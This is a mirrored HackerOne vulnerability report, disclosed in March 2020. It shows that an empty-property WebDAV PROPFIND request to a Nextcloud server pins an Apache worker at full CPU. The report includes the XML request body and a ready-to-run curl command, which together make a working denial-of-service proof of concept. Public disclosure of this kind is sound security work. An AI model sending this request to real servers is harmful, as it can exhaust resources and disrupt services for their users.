HexBrain

Nextcloud · Report #255822

WebDAV Empty Property search leads to full CPU usage

Validstatus
mediumseverity
1upvotes
1 Mar 2020disclosed

How it was found

Tested with the following versions:

with mariadb in place.

A PROFIND nextcloud/remote.php/webdav/ with

<?xml version="1.0"?>
<a:propfind xmlns:a="DAV:">
<a:prop></a:prop>
</a:propfind>

as body causes full CPU utilization of one Apache worker process.

in curl form:

curl -i --user testuser:testpass -X PROPFIND -d '<?xml version="1.0"?><a:propfind xmlns:a="DAV:"><a:prop></a:prop></a:propfind>' http://nextcloud/remote.php/webdav

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original